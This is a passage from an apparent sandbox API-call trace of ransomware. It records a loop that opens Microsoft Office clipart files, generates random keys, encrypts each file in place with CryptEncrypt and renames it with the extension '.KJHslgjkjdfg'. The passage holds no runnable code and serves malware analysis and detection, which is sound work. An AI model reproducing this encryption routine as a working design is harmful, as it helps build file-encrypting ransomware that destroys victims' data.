lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.439] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.439] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.439] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.439] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.439] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0192.441] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0192.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.441] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.441] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.442] SetEndOfFile (hFile=0x130) returned 1 [0192.444] GetProcessHeap () returned 0x990000 [0192.444] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.444] GetProcessHeap () returned 0x990000 [0192.444] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.444] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101866.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101866.bmp.kjhslgjkjdfg")) returned 1 [0192.445] CloseHandle (hObject=0x130) returned 1 [0192.445] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0dde00, ftCreationTime.dwHighDateTime=0x1bd732d, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa0dde00, ftLastWriteTime.dwHighDateTime=0x1bd732d, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101867.BMP", cAlternateFileName="")) returned 1 [0192.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.447] GetProcessHeap () returned 0x990000 [0192.447] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.447] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.447] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.450] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.450] GetProcessHeap () returned 0x990000 [0192.450] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.450] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.450] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.450] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.450] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.450] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.450] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.450] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.450] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.451] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.451] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.451] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7f68, lpOverlapped=0x0) returned 1 [0192.452] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f70, dwBufLen=0x7f70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f70) returned 1 [0192.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.452] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7f70, lpOverlapped=0x0) returned 1 [0192.453] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.453] SetEndOfFile (hFile=0x130) returned 1 [0192.456] GetProcessHeap () returned 0x990000 [0192.456] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.456] GetProcessHeap () returned 0x990000 [0192.456] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.kjhslgjkjdfg")) returned 1 [0192.457] CloseHandle (hObject=0x130) returned 1 [0192.457] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0192.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.460] GetProcessHeap () returned 0x990000 [0192.460] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.460] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.460] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.463] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.463] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.463] GetProcessHeap () returned 0x990000 [0192.464] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.464] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.464] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.464] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.464] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.464] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.464] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.464] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.464] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3ee8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3ee8, lpOverlapped=0x0) returned 1 [0192.466] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ef0) returned 1 [0192.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.466] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ef0, lpOverlapped=0x0) returned 1 [0192.466] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.466] SetEndOfFile (hFile=0x130) returned 1 [0192.469] GetProcessHeap () returned 0x990000 [0192.469] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.469] GetProcessHeap () returned 0x990000 [0192.469] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.kjhslgjkjdfg")) returned 1 [0192.470] CloseHandle (hObject=0x130) returned 1 [0192.470] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0192.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.471] GetProcessHeap () returned 0x990000 [0192.471] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.471] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.471] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0192.474] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.474] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.474] GetProcessHeap () returned 0x990000 [0192.474] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.474] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.474] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.474] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.474] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.474] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.474] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.474] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.474] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.475] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.475] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.475] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3e74, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3e74, lpOverlapped=0x0) returned 1 [0192.544] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3e80, dwBufLen=0x3e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3e80) returned 1 [0192.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.544] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3e80, lpOverlapped=0x0) returned 1 [0192.544] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.544] SetEndOfFile (hFile=0x130) returned 1 [0192.547] GetProcessHeap () returned 0x990000 [0192.547] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0192.547] GetProcessHeap () returned 0x990000 [0192.547] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0192.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.kjhslgjkjdfg")) returned 1 [0192.549] CloseHandle (hObject=0x130) returned 1 [0192.549] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0192.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.550] GetProcessHeap () returned 0x990000 [0192.550] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0192.550] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0192.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0192.550] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.552] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.552] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.552] GetProcessHeap () returned 0x990000 [0192.552] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0192.552] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0192.552] CryptDestroyKey (hKey=0x9b6628) returned 1 [0192.553] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0192.553] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0192.553] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0192.553] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0192.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0192.553] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0192.553] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0192.553] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0192.553] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.553] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6978, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6978, lpOverlapped=0x0) returned 1 [0192.554] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, 